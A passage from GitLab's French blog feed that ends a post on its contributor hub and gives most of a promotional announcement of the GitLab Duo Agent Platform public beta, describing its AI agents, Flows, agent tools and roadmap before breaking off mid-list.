<p>Corriger les défis rencontrés par nos nouveaux contributeurs nous a permis de nous concentrer sur une meilleure reconnaissance de notre communauté, incitant les novices à revenir. Le résultat : <a href="http://contributors.gitlab.com">contributors.gitlab.com</a>. Nous avons construit un hub central pour nos contributeurs qui comprend des tableaux de classement, des réalisations et des récompenses. Les contributeurs peuvent voir leur impact, suivre leurs progrès et grandir au sein de la communauté.</p>
<h2>Partager ce que nous avons appris</h2>
<p>Ces améliorations fonctionnent et sont reproductibles pour d'autres projets open source. Nous partageons notre approche pour que d'autres projets puissent envisager d'utiliser ces outils pour se développer.</p>
<p>Au fur et à mesure que les organisations prennent connaissance des obstacles à la participation, il est possible de créer un environnement open source plus convivial. Avec les outils de GitLab, nous pouvons offrir une expérience plus fluide aux contributeurs et aux chargés de maintenance.</p>
<p><strong>Contactez-nous</strong></p>
<p>Vous voulez en savoir plus sur le développement de votre communauté de contributeurs ? Envoyez un e-mail à contributors@gitlab.com ou <a href="https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues">créez un ticket</a> pour démarrer une discussion. Nous sommes là pour aider à construire des communautés.</p>
]]></content>
        <author>
            <name>Lee Tickett</name>
            <uri>https://about.gitlab.com/blog/authors/lee-tickett</uri>
        </author>
        <author>
            <name>Daniel Murphy</name>
            <uri>https://about.gitlab.com/blog/authors/daniel-murphy</uri>
        </author>
        <published>2025-07-22T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Duo Agent Platform (bêta) : votre orchestration IA nouvelle génération]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-public-beta/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-public-beta/"/>
        <updated>2025-07-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>Nous construisons l'avenir du développement logiciel.</strong></p>
<p>Chez GitLab, nous <a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/">réinventons l'avenir de l'ingénierie logicielle</a> comme une collaboration entre humains et intelligence artificielle. Les équipes de développement se concentrent sur la résolution de problèmes techniques complexes et l'innovation, tandis que les agents d'IA gèrent les tâches routinières et répétitives qui ralentissent l’avancée des projets. Les développeurs sont libres d'explorer de nouvelles idées à moindre coût, les bogues de backlogs appartiennent au passé, et les utilisateurs des logiciels que vous créez profitent d'une expérience plus fluide, fiable et sécurisée. Ceci n'est pas un rêve lointain, et nous construisons cette réalité aujourd'hui avec GitLab Duo Agent Platform.</p>
<h2>Qu'est-ce que GitLab Duo Agent Platform ?</h2>
<p>GitLab Duo Agent Platform est notre plateforme d'orchestration DevSecOps nouvelle génération conçue pour permettre une collaboration asynchrone entre les équipes de développement et les agents d'IA. Cette plateforme transformera votre workflow de développement, passant de processus linéaires isolés à une collaboration dynamique où des agents d'IA spécialisés travaillent à vos côtés et avec votre équipe à chaque étape du cycle de vie du développement logiciel.</p>
<p>Imaginez déléguer une tâche de refactorisation complexe à un Software Developer Agent tout en ayant simultanément un Security Analyst Agent qui recherche des vulnérabilités et un Deep Research Agent qui analyse les progrès à travers l'historique de votre dépôt. Tout cela se déroule en parallèle, orchestré de manière transparente dans GitLab.</p>
<p>Aujourd'hui, nous annonçons le lancement de la <a href="https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/">première version bêta publique de GitLab Duo Agent Platform</a> pour les clients GitLab.com et GitLab Self-Managed (GitLab Premium et Ultimate). Il s'agit seulement de la première d'une série de mises à jour qui amélioreront la façon dont les logiciels sont planifiés, compilés, vérifiés et déployés, tandis que nous amplifions l'ingéniosité humaine grâce à l'automatisation intelligente.</p>
<p>Cette première version bêta se concentre sur l’amélioration de l'expérience IDE via l'extension GitLab VS Code et le plug-in JetBrains IDEs. Le mois prochain, nous prévoyons d'apporter l'expérience Duo Agent Platform à l'application GitLab et d'étendre la prise en charge de l'IDE. Permettez-moi de partager un peu plus notre vision de la roadmap d'ici à la disponibilité générale, prévue pour la fin de l’année. Vous trouverez les détails sur la première version bêta ci-dessous.</p>
<p>Regardez cette vidéo ou lisez la suite de cet article pour découvrir ce qui est désormais disponible et ce qui est à venir. Ensuite, si vous êtes prêt à démarrer avec Duo Agent Platform, découvrez comment faire vos premiers pas sur la version bêta publique.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101993507?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab Agent Platform Beta Launch_071625_MP_v2&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>La position de GitLab en tant que plateforme d'orchestration</h2>
<p>GitLab se trouve au cœur du cycle de vie du développement en tant que système d'enregistrement pour les équipes d'ingénierie, orchestrant l'ensemble du parcours, du concept à la production, pour plus de 50 millions d'utilisateurs enregistrés, dont la moitié des entreprises du classement Fortune 500. Cela comprend plus de 10 000 clients payants dans tous les segments et secteurs d’activité, y compris les institutions publiques.</p>
<p>Ce qui donne à GitLab un avantage qu'aucun concurrent ne peut égaler : une compréhension complète de tout ce qu'il faut pour livrer des logiciels. Nous rassemblons vos projets, votre code, vos tests, vos scans de sécurité, vos contrôles de conformité et vos configurations CI/CD au sein d'un seul et même endroit. De cette manière, vous améliorez la productivité de votre équipe et orchestrez la collaboration avec les agents d'IA que vous contrôlez.</p>
<p>En tant que plateforme DevSecOps intelligente et unifiée, GitLab stocke tout le contexte de votre pratique d'ingénierie logicielle en un seul endroit. Nous exposerons ces données unifiées aux agents d'IA via notre graphe de connaissances. Chaque agent que nous construisons a automatiquement accès à cet ensemble de données connecté au SDLC, fournissant un contexte riche pour que les agents puissent faire des recommandations éclairées et prendre des actions qui respectent vos normes organisationnelles.</p>
<p><strong>Voici un exemple de cet avantage en action.</strong> Avez-vous déjà essayé de comprendre exactement comment un projet progresse à travers des dizaines, voire des centaines de commentaires et de tickets traités par tous les développeurs impliqués ? Notre Deep Research Agent exploite le graphe de connaissances de GitLab et les capacités de recherche sémantique pour parcourir votre epic et tous les tickets connexes, explorer le code source associé et le contexte environnant. Il corrèle rapidement les informations à travers vos dépôts, merge requests et historique de déploiement. Cela fournit des informations essentielles que les outils autonomes ne peuvent égaler et que les développeurs humains mettraient des heures à découvrir.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101998114?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Deep Research Demo_071625_MP_v1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Notre évolution stratégique des fonctionnalités d'IA vers l'orchestration d'agents</h2>
<p>GitLab Duo a été lancé comme un module d’extension, apportant l'IA générative aux équipes de développement via GitLab Duo Pro et GitLab Duo Enterprise. Avec GitLab 18.0, GitLab Duo est désormais intégré à la plateforme. Nous avons débloqué <a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-chat-gets-agentic-ai-makeover/">GitLab Duo Agentic Chat</a> et les suggestions de code pour tous les utilisateurs de GitLab Premium et Ultimate, et nous fournissons un accès immédiat à GitLab Duo Agent Platform.</p>
<p>Nous avons augmenté l'investissement en ingénierie et accélérons la livraison, avec de nouvelles fonctionnalités d’IA déployées chaque mois. Mais nous ne construisons pas juste un autre assistant de codage. GitLab Duo devient une plateforme d'orchestration d'agents, où vous pouvez créer, personnaliser et déployer des agents d’IA qui travaillent à vos côtés et interagissent facilement avec d'autres systèmes, augmentant ainsi votre productivité.</p>
<blockquote>
<p><strong>« GitLab Duo Agent Platform améliore notre workflow de développement avec une IA qui comprend vraiment notre code source et notre organisation. Avoir des agents d’IA intégrés dans notre système d'enregistrement pour le code, les tests, le CI/CD et l'ensemble du cycle de vie du développement logiciel booste la productivité, la vélocité et l'efficacité. Les agents sont devenus de vrais collaborateurs pour nos équipes, et leur capacité à comprendre l'intention, à décomposer les problèmes et à agir permet à nos équipes de se concentrer sur des tâches innovantes et stimulantes. »</strong> - Bal Kang, Engineering Platform Lead chez NatWest</p>
</blockquote>
<h3>Des agents qui fonctionnent immédiatement</h3>
<p>Nous introduisons des agents qui reflètent des rôles d'équipe familiers. Ces agents peuvent rechercher, lire, créer et modifier des artefacts existants dans GitLab. Considérez-les comme des agents avec lesquels vous pouvez interagir individuellement, et qui agissent également comme des blocs de construction que vous pouvez personnaliser pour créer vos propres agents. Comme les membres de votre équipe, les agents ont des spécialisations définies, telles que le développement logiciel, les tests ou la rédaction technique. En tant que spécialistes, ils exploitent les bons contextes et outils pour accomplir de manière cohérente les mêmes types de tâches, où qu'ils soient déployés.</p>
<p>Voici quelques-uns des agents que nous construisons aujourd'hui :</p>
<ul>
<li><strong>Chat Agent (maintenant en version bêta) :</strong> il prend des requêtes en langage naturel pour fournir des informations et du contexte à l'utilisateur. Il peut effectuer des tâches de développement générales, comme la lecture de tickets ou de différences de code. Par exemple, vous pouvez demander à Chat de déboguer un job qui a échoué en fournissant son URL.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101953504?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-chat-in-web-ui-demo_Update V1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li>
<p><strong>Software Developer Agent (maintenant en version bêta) :</strong> il travaille sur des éléments assignés en créant des modifications de code dans des environnements de développement virtuels et en ouvrant des merge requests pour révision.</p>
</li>
<li>
<p><strong>Product Planning Agent :</strong> il priorise les backlogs produit, assigne des éléments de travail aux membres humains et agentiques et l'équipe, et fournit des mises à jour de projet en fonction du calendrier.</p>
</li>
<li>
<p><strong>Software Test Engineer Agent :</strong> il teste les nouvelles contributions de code pour les bogues et valide si les problèmes signalés ont été résolus.</p>
</li>
<li>
<p><strong>Code Reviewer Agent :</strong> il effectue des revues de code suivant les normes de l'équipe, identifie les problèmes de qualité et de sécurité, et peut fusionner le code quand il est prêt.</p>
</li>
<li>
<p><strong>Platform Engineer Agent :</strong> il surveille les déploiements GitLab, y compris les GitLab Runners, suit la santé du pipeline CI/CD, et rapporte les problèmes de performance aux équipes d'ingénierie de plateforme humaines.</p>
</li>
<li>
<p><strong>Security Analyst Agent :</strong> il trouve des vulnérabilités dans le code source et les applications déployées, et implémente des modifications de code et de configuration pour aider à résoudre les faiblesses de sécurité.</p>
</li>
<li>
<p><strong>Deployment Engineer Agent :</strong> il déploie des mises à jour en production, surveille les comportements inhabituels, et annule les modifications qui impactent les performances ou la sécurité de l'application.</p>
</li>
<li>
<p><strong>Deep Research Agent :</strong> il mène une analyse complète et multi-sources à travers tout votre écosystème de développement.</p>
</li>
</ul>
<p>Ce qui rend ces agents puissants, c'est leur accès natif à la boîte à outils complète de GitLab. Aujourd'hui, nous avons plus de 25 outils, des tickets et epics aux merge requests et à la documentation, et bien plus à venir. Contrairement aux outils d’IA externes qui fonctionnent avec un contexte limité, nos agents travaillent comme de véritables membres de l'équipe avec des privilèges complets de plateforme sous votre supervision.</p>
<p>Dans les mois à venir, vous pourrez également modifier ces agents pour répondre aux besoins de votre organisation. Par exemple, vous pourrez spécifier qu'un Software Test Engineer Agent suit les meilleures pratiques pour un framework ou une méthodologie particulière, approfondissant sa spécialisation et le transformant en un membre d'équipe encore plus précieux.</p>
<h2>Les Flows orchestrent des tâches d'agents complexes</h2>
<p>Au-dessus des agents individuels, nous introduisons les Flows d'agents. Considérez-les comme des workflows plus complexes qui peuvent inclure plusieurs agents avec des instructions, étapes et actions pré-construites pour une tâche donnée qui peut s'exécuter de manière autonome.</p>
<p>Bien que vous puissiez créer des Flows pour des tâches de base communes aux individus, ils excellent vraiment lorsqu'ils sont appliqués à des tâches complexes et spécialisées qui prendraient normalement des heures de coordination et d'effort pour être complétées. Les Flows vous aideront à terminer des tâches complexes plus rapidement et, dans de nombreux cas, de manière asynchrone sans intervention humaine.</p>
<p>Les Flows ont des déclencheurs spécifiques pour l'exécution. Chaque Flow contient une série d'étapes, et chaque étape a des instructions détaillées qui indiquent à un agent spécialisé quoi faire. Cette approche granulaire vous permet de donner des instructions précises aux agents dans le Flow. En définissant des instructions avec plus de détails et en établissant des points de décision structurés, les Flows peuvent aider à résoudre la variabilité inhérente aux réponses d'IA tout en éliminant le besoin de spécifier les mêmes exigences, débloquant des résultats plus cohérents et prévisibles sans configuration de la part de l'utilisateur.</p>
<p>Voici quelques exemples de Flows prêts à l'emploi :</p>
<p><strong>Flow de développement logiciel (maintenant en version bêta) :</strong> il orchestre plusieurs agents pour planifier, implémenter et tester des modifications de code de bout en bout, aidant à transformer la façon dont les équipes livrent des fonctionnalités, du concept à la production.</p>
<p><strong>Flow Issue-to-MR :</strong> il convertit automatiquement les tickets en merge requests exploitables en coordonnant les agents pour analyser les exigences, préparer des plans de mise en œuvre complets et générer du code.</p>
<p><strong>Flow de conversion de fichier CI :</strong> il rationalise les workflows de migration en demandant aux agents d'analyser les configurations CI/CD existantes et de les convertir intelligemment au format GitLab CI avec une compatibilité complète du pipeline.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101941425?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;jenkins-to-gitlab-cicd-for-blog&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p><strong>Flow de recherche et remplacement :</strong> il découvre et transforme des modèles de code à travers le code source en analysant systématiquement les structures de projet, identifiant les opportunités d'optimisation et exécutant des remplacements précis.</p>
<p><strong>Flow de réponse aux incidents et analyse des causes profondes :</strong> il orchestre la réponse aux incidents en corrélant les données système, coordonnant des agents spécialisés pour l'analyse des causes profondes et exécutant les étapes de remédiation approuvées tout en gardant les parties prenantes humaines informées tout au long du processus de résolution.</p>
<p>C'est là que GitLab Duo Agent Platform adopte une approche vraiment unique par rapport aux autres solutions d’IA. Nous ne vous donnerons pas seulement des agents pré-construits. Nous vous donnerons également le pouvoir de créer, personnaliser et partager des Flows d'agents qui correspondent parfaitement aux besoins de vos équipes et de votre organisation. Avec les Flows, vous pourrez ensuite donner aux agents un plan d'exécution spécifique pour des tâches communes et complexes.</p>
<p>Nous croyons que cette approche est plus puissante que de construire des agents spécialisés comme le font nos concurrents, car chaque organisation a des workflows différents, des normes de codage, des exigences de sécurité et une logique métier. Les outils d’IA génériques ne peuvent pas comprendre votre contexte spécifique, mais GitLab Duo Agent Platform s’adaptera au fonctionnement de votre équipe.</p>
<h2>Pourquoi construire des agents et des Flows d'agents dans GitLab Duo Agent Platform ?</h2>
<p><strong>Construire rapidement.</strong> Vous pouvez construire des agents et des Flows d'agents complexes dans Duo Agent Platform rapidement et facilement en utilisant un modèle d'extensibilité déclaratif rapide et une assistance UI.</p>
<p><strong>Calcul intégré.</strong> Avec Duo Agent Platform, vous n'avez plus à vous soucier des tracas de mise en œuvre de votre propre infrastructure pour les agents : le calcul, le réseau et le stockage sont intégrés.</p>
<p><strong>Événements SDLC.</strong> Vos agents peuvent être invoqués automatiquement sur des événements communs : pipeline en échec, déploiement interrompu, problème créé, etc.</p>
<p><strong>Accès instantané.</strong> Vous pouvez interagir avec vos agents dans GitLab ou au sein de notre plug-in IDE : assignez-leur des tickets, @mentionnez-les dans les commentaires et discutez avec eux partout où GitLab Duo Chat est disponible.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1102029239?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;assigning an agent an issue&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt; &lt;p&gt;&lt;/p&gt;</p>
<p><strong>Modèles intégrés et personnalisés pris en charge.</strong> Vos agents auront un accès automatique à tous les modèles que nous prenons en charge, et les utilisateurs pourront choisir des modèles spécifiques pour des tâches spécifiques. Si vous souhaitez connecter Duo Agent Platform à votre propre modèle auto-hébergé, vous pourrez également le faire.</p>
<p><strong>Points de terminaison MCP.</strong> Chaque agent et Flow peut être accessible ou déclenché via des points de terminaison MCP natifs, vous permettant de vous connecter et de collaborer avec vos agents et vos Flows de n'importe où, y compris des outils populaires comme Claude Code, Cursor, Copilot et Windsurf.</p>
<p><strong>Observabilité et sécurité.</strong> Enfin, nous fournissons une observabilité intégrée et des tableaux de bord d'utilisation, afin que vous puissiez voir exactement qui, où, quoi et quand les agents ont effectué des actions en votre nom.</p>
<h2>Un avenir piloté par la communauté</h2>
<p>Les contributions de la communauté ont longtemps alimenté l'innovation et le développement logiciel de GitLab. Nous sommes ravis de nous associer à notre communauté avec l'introduction du Catalogue IA. Le Catalogue IA vous permettra de créer et de partager des agents et des Flows au sein de votre organisation et à travers l'écosystème GitLab dans notre prochaine version bêta.</p>
<p>Nous croyons que les applications d’IA les plus précieuses sont susceptibles d'émerger de notre communauté, grâce à votre usage quotidien de GitLab Duo Agent Platform pour résoudre de nombreux cas d'utilisation du monde réel. En permettant le partage transparent d'agents et de Flows, nous créons un effet de réseau où chaque contribution améliore l'intelligence et la valeur collectives de la plateforme.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685501/awdwx08udwrxgvcpmssb.png" alt="AI Catalog" title="AI Catalog"></p>
<h2>Disponible aujourd'hui dans GitLab Duo Agent Platform en bêta publique</h2>
<p>La version bêta publique de GitLab Duo Agent Platform est disponible dès maintenant pour les clients Premium et Ultimate avec les fonctionnalités suivantes :</p>
<p><strong>Flow de Développement Logiciel :</strong> notre premier Flow orchestre des agents pour rassembler un contexte complet, clarifier les ambiguïtés avec les équipes de développement humaines et exécuter des plans stratégiques pour apporter des modifications précises à votre code source et votre dépôt. Il exploite l'ensemble de votre projet, y compris sa structure, son code source et son historique, ainsi que des contextes supplémentaires comme les tickets GitLab ou les merge requests pour amplifier la productivité des équipes de développement.</p>
<p><strong>Nouveaux outils d'agent disponibles :</strong> les agents ont maintenant accès à plusieurs outils pour faire leur travail, notamment :</p>
<ul>
<li>Système de fichiers (lire, créer, éditer, trouver des fichiers, lister, Grep)</li>
<li>Exécuter la ligne de commande*</li>
<li>Tickets (lister, obtenir, obtenir les commentaires, éditer*, créer*, ajouter/mettre à jour les commentaires*)</li>
<li>Epics (obtenir, obtenir les commentaires)</li>
<li>Merge requests (obtenir, obtenir les commentaires, obtenir le diff, créer, mettre à jour)</li>
<li>Pipeline (job logs, erreurs de pipeline)</li>
<li>Projet (obtenir, obtenir le fichier)</li>
<li>Commits (obtenir, lister, obtenir les commentaires, obtenir le diff)</li>
<li>Recherche (recherche de problèmes)</li>
<li>Sécurisé (lister les vulnérabilités)</li>
<li>Recherche de documentation
*=Nécessite l'approbation de l'utilisateur</li>
</ul>
<p><strong>GitLab Duo Agentic Chat dans l'IDE :</strong> Duo Agentic Chat transforme l'expérience de chat d'un outil de questions-réponses passif en un partenaire de développement actif directement dans votre IDE.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101953477?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-ai-launch-video_Updated V1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Retour itératif et historique de chat :</strong> Duo Agentic Chat prend désormais en charge l'historique de chat et le retour itératif, transformant l'agent en un partenaire conversationnel. Cela favorise la confiance, permettant aux équipes de développement de déléguer des tâches plus complexes et d'offrir des conseils correctifs.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743173?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-chat-history&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Délégation rationalisée avec des commandes slash :</strong> des commandes slash étendues et plus puissantes, telles que /explain, /tests et /include, créent un « langage de délégation » pour une intention rapide et précise. La commande /include permet l'injection explicite de contexte à partir de fichiers spécifiques, de tickets ouverts, de merge requests ou de dépendances directement dans la mémoire de travail de l'agent, rendant l'agent plus puissant et enseignant aux utilisateurs comment fournir un contexte optimal pour des réponses de qualité.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743187?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;include-agentic-chat-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Personnalisation via des règles personnalisées :</strong> les nouvelles règles personnalisées permettent aux équipes de développement d'adapter le comportement de l'agent en fonction de leurs préférences en utilisant le langage naturel, par exemple, des guides de style de développement. Ce mécanisme façonne la personnalité de l'agent en un assistant personnalisé, évoluant vers des agents spécialisés basés sur les préférences définies par l'utilisateur et les politiques organisationnelles.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743179?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;custom-rules-with-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Support pour GitLab Duo Agentic Chat dans JetBrains IDE :</strong> Pour aider à rencontrer les développeurs là où ils travaillent, nous avons étendu la prise en charge de Duo Agentic Chat à la famille d'IDE JetBrains, y compris IntelliJ, PyCharm, GoLand et Webstorm. Cela s'ajoute à notre support existant pour VS Code. Les utilisateurs existants obtiennent automatiquement les fonctionnalités agentiques, tandis que les nouveaux utilisateurs peuvent installer le plugin depuis le JetBrains Marketplace.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743193?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;jetbrains-support-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Support client MCP :</strong> Duo Agentic Chat peut maintenant agir comme client MCP, se connectant aux serveurs MCP distants et locaux.</li>
</ul>
<p>Cette fonctionnalité débloque la capacité de l'agent à se connecter à des systèmes au-delà de GitLab comme Jira, ServiceNow et ZenDesk pour rassembler du contexte ou prendre des mesures. Tout service qui s'expose via MCP peut maintenant faire partie de l'ensemble de compétences de l'agent. Le serveur MCP officiel GitLab arrive bientôt !</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743202?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;McpDemo&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>GitLab Duo Agentic Chat dans l'interface Web de GitLab.</strong> Duo Agentic Chat est maintenant disponible directement dans l'interface Web de GitLab. Cette étape fait évoluer l'agent d'un assistant de codage à un véritable agent DevSecOps, car il accède à un contexte riche non lié au code, comme les tickets et les discussions intégrées aux merge requests, lui permettant de comprendre le « pourquoi » derrière une tâche. Au-delà de la compréhension du contexte, l'agent peut apporter des modifications directement depuis l'interface Web, comme mettre à jour automatiquement les statuts des tickets ou éditer les descriptions des merge requests.</li>
</ul>
<h2>Bientôt disponible dans GitLab Duo Agent Platform</h2>
<p>Au cours des prochaines semaines, nous publierons de nouvelles capacités pour Duo Agent Platform, y compris plus d'agents et de Flows prêts à l'emploi. Celles-ci permettront une personnalisation et une extensibilité encore plus grandes, amplifiant la productivité de nos clients :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685275/hjbe9iiu2ydp9slibsc2.png" alt="GitLab Duo Agent Platform public beta roadmap" title="GitLab Duo Agent Platform public beta roadmap"></p>
<ul>
<li>
<p><strong>Expérience GitLab intégrée :</strong> s'appuyant sur les extensions IDE disponibles dans 18.2, nous étendons les agents et les Flows au sein de la plateforme GitLab. Cette intégration élargira la manière dont vous pouvez collaborer de manière synchrone et asynchrone avec les agents. Vous pourrez assigner des tickets directement aux agents, les @mentionner dans GitLab Duo Chat, et les invoquer de manière transparente depuis n'importe où dans l'application tout en maintenant la connectivité MCP depuis votre outil de développement préféré. Cette intégration native transforme les agents en véritables membres de l'équipe de développement, accessibles dans GitLab.</p>
</li>
<li>
<p><strong>Observabilité des agents :</strong> alors que les agents deviennent plus autonomes, nous construisons une visibilité complète de leur activité pendant qu'ils progressent dans les Flows, vous permettant de surveiller leurs processus de prise de décision, de suivre les étapes d'exécution et de comprendre comment ils interprètent et agissent sur vos défis liés au développement. Cette transparence dans le comportement des agents renforce la confiance tout en vous permettant d'optimiser les workflows, d'identifier les goulots d'étranglement et aide à garantir que les agents fonctionnent comme prévu.</p>
</li>
<li>
<p><strong>Catalogue IA :</strong> reconnaissant que les grandes solutions viennent de l'innovation communautaire, nous introduirons bientôt la bêta publique de notre Catalogue IA — une marketplace qui vous permettra d'étendre Duo Agent Platform avec des agents et des Flows spécialisés provenant de GitLab, et au fil du temps, de la communauté. Vous pourrez déployer rapidement ces solutions dans GitLab, en exploitant le contexte à travers vos projets et votre code source.</p>
</li>
<li>
